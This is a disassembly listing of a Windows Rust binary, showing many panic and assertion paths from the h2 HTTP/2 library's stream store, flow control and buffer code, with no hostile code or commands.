mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc35], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0x704]
mov qword [rbp + 0xaa0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xaa8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0xaa0]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc32], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov rax, qword [rbp + 0xc50]
mov qword [rbp + 0x970], rax
mov eax, dword [rbp + 0xbe8]
mov byte [rbp + 0x978], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x970]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400fee97
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4c], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x700], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x708], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc4f], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov byte [rbp + 0xc4d], 1
lea rcx, str.assertion_failed:_sz___MAX_WINDOW_SIZE_as_usize_
lea r8, [0x1401a44d0]
mov edx, 0x30
call fcn.140186b70
jmp 0x1400fee97
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc4e], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x970], rdi
mov byte [rbp + 0x978], bl
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x970]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400fee97
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc4e], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov dword [rbp + 0xc40], eax
mov qword [rbp + 0xc50], r14
lea rcx, [0x1401a44f7]
lea r8, [0x1401a4530]
mov edx, 0x39
call fcn.140186b70
jmp 0x1400fee97
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc4e], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x700], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x708], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc4f], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x4e0], r14
lea rax, [0x14001db60]
mov qword [rbp + 0x4e8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc30], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
xor eax, eax
mov qword [rbp + 0x970], r14
mov byte [rbp + 0x978], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x970]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcheadermap.rs
mov rdx, qword [rbp + 0x968]
call fcn.140186a70
jmp 0x1400fee97
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
mov qword [rbp + 0xab0], r13
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc30], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc4e], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc4e], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x5d0], r14
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
mov qword [rbp + 0xab0], r13
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc1c], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x5d0], r14
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
mov qword [rbp + 0xab0], r13
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc1c], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0x344]
mov qword [rbp + 0x360], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x368], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x360]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov byte [rbp + 0xc2e], 1
lea rcx, [0x1401ba7e2]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov edx, 0x37
call fcn.140186b70
jmp 0x1400fee97
mov byte [rbp + 0xc4d], 1
lea rcx, [0x1401a43a7]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i328C
mov edx, 0x31
call fcn.140186b70
jmp 0x1400fee97
mov byte [rbp + 0xc4d], 1
lea rcx, [0x1401a43a7]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i328C
mov edx, 0x31
call fcn.140186b70
jmp 0x1400fee97
mov byte [rbp + 0xc4e], 1
lea rcx, str.assertion_failed:_self.can_inc_num_recv_streams__C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streamscounts.rs
lea r8, [0x1401a4158]
mov edx, 0x31
call fcn.140186b70
jmp 0x1400fee97
mov byte [rbp + 0xc4e], 1
lea rcx, str.assertion_failed:__stream.is_counted
lea r8, [0x1401a4198]
mov edx, 0x24
call fcn.140186b70
jmp 0x1400fee97
add rbx, 0x2c
mov dword [rbp + 0x1c0], eax
mov qword [rbp + 0x700], rbx
lea rax, [0x14001db60]
mov qword [rbp + 0x708], rax
lea rcx, [rbp + 0x1c0]
mov qword [rbp + 0x710], rcx
mov qword [rbp + 0x718], rax
lea rax, str.GOAWAY_stream_IDs_shouldnt_be_higher__last_processed_id____f.last_stream_id___
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 2
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 2
mov byte [rbp + 0xbdf], 1
lea rdx, [0x1401a3f60]
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov byte [rbp + 0xc4c], 1
lea rcx, str.assertion_failed:_self.refused.is_none___
lea r8, [0x1401a4440]
mov edx, 0x28
call fcn.140186b70
jmp 0x1400fee97
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc4e], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
mov qword [rbp + 0xab0], rbx
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc34], 0
mov byte [rbp + 0xc33], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov byte [rbp + 0xc1c], 0
lea rcx, [0x1401bb4d3]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140187140
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0xbf8], rbx
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1401bb538]
mov edx, 0x28
call fcn.140186b70
jmp 0x1400fee97
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
mov qword [rbp + 0xab0], r13
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc30], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x5d0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc4e], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov byte [rbp + 0xc2e], 1
lea rcx, [0x1401a43a7]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i328C
mov edx, 0x31
call fcn.140186b70
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov byte [rbp + 0xc35], 1
lea rcx, str.assertion_failed:_self.refused.is_none___
lea r8, [0x1401a4440]
mov edx, 0x28
call fcn.140186b70
jmp 0x1400fee97
lea rax, [rbp + 0x3d4]
mov qword [rbp + 0xaa0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xaa8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0xaa0]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc1d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0x3d4]
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc1d], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
xor al, 1
jmp 0x1400fdab1
mov qword [rbp + 0x5d0], rdi
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc31], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x5d0], rdi
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc31], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x5d0], rdi
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc31], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp + 0x820], r10
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov byte [rbp + 0xc1d], 0
lea rcx, [0x1401bb4d3]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140187140
jmp 0x1400fee97
mov byte [rbp + 0xc4d], 1
lea rcx, [0x1401a43a7]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i328C
mov edx, 0x31
call fcn.140186b70
jmp 0x1400fee97
mov byte [rbp + 0xc31], 0
lea rcx, [0x1401bb4d3]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140187140
jmp 0x1400fee97
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1401bb538]
mov edx, 0x28
call fcn.140186b70
jmp 0x1400fee97
mov byte [rbp + 0xc4c], 1
call fcn.1400106d0
jmp 0x1400fee97
mov qword [rbp + 0xbf8], r15
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1401bb538]
mov edx, 0x28
call fcn.140186b70
jmp 0x1400fee97
lea rax, [rbp + 4]
mov qword [rbp + 0xaa0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xaa8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x820], rax
mov qword [rbp + 0x828], 1
mov qword [rbp + 0x840], 0
lea rax, [rbp + 0xaa0]
mov qword [rbp + 0x830], rax
mov qword [rbp + 0x838], 1
mov byte [rbp + 0xc37], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x820]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0x5d4]
mov qword [rbp], rax
lea rax, [0x14001db60]
mov qword [rbp + 8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x820], rax
mov qword [rbp + 0x828], 1
mov qword [rbp + 0x840], 0
mov rax, rbp
mov qword [rbp + 0x830], rax
mov qword [rbp + 0x838], 1
mov byte [rbp + 0xc2c], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x820]
call fcn.1401869b0
